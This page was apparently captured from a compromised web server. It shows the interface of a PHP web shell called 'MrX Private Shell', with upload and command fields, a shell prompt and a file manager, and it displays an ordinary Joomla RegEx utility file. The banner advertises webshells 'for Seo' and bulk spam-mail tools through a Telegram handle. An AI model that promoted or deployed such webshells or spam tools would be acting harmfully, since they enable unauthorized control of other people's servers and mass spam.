__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * Part of the Joomla Framework Utilities Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Utilities;

/**
 * Utility class for building complex Regular Expressions
 *
 * @since __DEPLOY_VERSION__
 */
abstract class RegEx
{
	/**
	 * Match the Regular Expression
	 *
	 * @param   string  $regex    The Regular Expression
	 * @param   string  $subject  The string to check
	 *
	 * @return  array  Captured values
	 */
	public static function match($regex, $subject)
	{
		$match = array();

		preg_match($regex, $subject, $match);

		return array_filter(
			$match,
			static function ($value, $key) {
				return !is_numeric($key) && !empty($value);
			},
			ARRAY_FILTER_USE_BOTH
		);
	}

	/**
	 * Assign a key to an expression.
	 *
	 * @param   string  $regex  The Regular Expression to match
	 * @param   string  $as     The name of the component, used as index
	 *
	 * @return  string  The modified Regular Expression
	 */
	public static function capture($regex, $as = null)
	{
		return '(?P<' . $as . '>' . $regex . ')';
	}

	/**
	 * Add a 'zero or one' quantifier to an expression.
	 *
	 * @param   string  $regex  The Regular Expression to match
	 *
	 * @return  string  The modified Regular Expression
	 */
	public static function optional($regex)
	{
		return '(?:' . $regex . ')?';
	}

	/**
	 * Add a 'one or more' quantifier to an expression.
	 *
	 * @param   string  $regex  The Regular Expression to match
	 *
	 * @return  string  The modified Regular Expression
	 */
	public static function oneOrMore($regex)
	{
		return '(?:' . $regex . ')+';
	}

	/**
	 * Add a 'zero or more' quantifier to an expression.
	 *
	 * @param   string  $regex  The Regular Expression to match
	 *
	 * @return  string  The modified Regular Expression
	 */
	public static function noneOrMore($regex)
	{
		return '(?:' . $regex . ')*';
	}

	/**
	 * Define a list of alternative expressions.
	 *
	 * @param   string|array  $regexList  A list of Regular Expressions to choose from
	 *
	 * @return  string  The modified Regular Expression
	 */
	public static function anyOf($regexList)
	{
		if (is_string($regexList))
		{
			$regexList = func_get_args();
		}

		return '(?:' . implode('|', $regexList) . ')';
	}
}

Filemanager

Name Type Size Permission Actions
ArrayHelper.php File 20.71 KB 0664
IpHelper.php File 15.31 KB 0664
RegEx.php File 2.3 KB 0664
Filemanager